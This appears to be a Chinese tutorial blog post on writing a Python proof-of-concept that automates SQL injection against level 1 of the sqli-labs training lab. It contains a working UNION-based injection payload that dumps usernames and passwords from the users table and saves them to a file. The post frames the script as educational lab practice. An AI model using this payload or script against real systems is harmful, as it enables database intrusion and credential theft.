当前位置: 首页 > article >正文

sqli-labs靶场自动化利用工具——第1关

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第一关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

import re
import requests
import os
print("当前工作目录:", os.getcwd())


def send_request(url):
    headers = {
        'Host': 'sql:8081',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    params = {
        'id': "-1' union select 1,2,group_concat(username,0x3a,password) from users-- -"
    }
    try:
        response = requests.get(url + "/Less-1/", headers=headers, params=params, verify=False)
        if response.status_code == 200:
            print(f'{url} 存在漏洞.')
            html_content = response.text
            pattern = r'Your Password:(.*?)</font>'
            credentials = re.findall(pattern, html_content, re.DOTALL)
            if credentials:
                pairs = credentials[0].split(',')
                file_path = os.path.join(os.getcwd(), 'credentials.txt')
                with open(file_path, 'w') as f:
                    for pair in pairs:
                        username, password = pair.split(':')
                        # 写入用户名和密码到文件
                        f.write(f'Username: {username.strip()}, Password: {password.strip()}\n')
            print('Credentials have been extracted and saved to credentials.txt.')
        else:
            print(f'{url} no.')
    except requests.RequestException as e:
        print(f'Error scanning {url}: {e}')


send_request('http://sql:8081')

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。


http://www.kler.cn/news/306095.html

相关文章:

  • 在Coontroller层中我们经常使用的@RequestParam, @PathVariable, @RequestBody ,区别以及各自的使用场景
  • golang实现从服务器下载文件到本地指定目录
  • 简单接口自动化框架实现(Python+requests+pytest)
  • _Array类,类似于Vector,其实就是_string
  • 编写程序模版的搭建
  • Android Kotlin 中的 `groupBy` 方法详解
  • 手机玩机常识____展讯芯片刷机平台ResearchDownload的一些基本常识与问题解决
  • 基于CosyVoice的多语言语音合成技术解析
  • STM32(十三):通信协议——USART串口协议
  • React源码学习(一):如何学习React源码
  • Python学习——【1.2】数据类型、数据类型转换
  • yjs04——matplotlib的使用(多个坐标图)
  • Java网络编程 TCP通信(Socket 与 ServerSocket)
  • (批处理)设置延时+设置关机倒计时
  • Flink CEP(复杂事件处理)高级进阶
  • 【大数据方案】智慧大数据平台总体建设方案书(word原件)
  • 应用层协议HTTP介绍
  • 【自主搭建博客网站 第一篇章】前情提要
  • ??Ansible——ad-hoc
  • 修改 HTTP 和 HTTPS 代理设置为 `http://127.0.0.1:8118
  • 【Android Studio】API 29(即Android 10)或更高版本,在程序启动时检查相机权限,并在未获取该权限时请求它
  • AI学习指南深度学习篇-Adam的基本原理
  • 计算机三级 - 数据库技术 - 第十三章 大规模数据库架构 笔记
  • 速通LLaMA1:《LLaMA: Open and Efficient Foundation Language Models》全文解读
  • ARM驱动学习之9注册字符类设备
  • Robot Operating System——带有时间戳和坐标系信息的线速度和角速度
  • 51单片机+proteus+(DS1302+DS18B20)
  • css选择器有几种?选择器的优先级是怎样的?
  • [网络][CISCO]Cisco-PIX配置详解
  • Leetcode 3290. Maximum Multiplication Score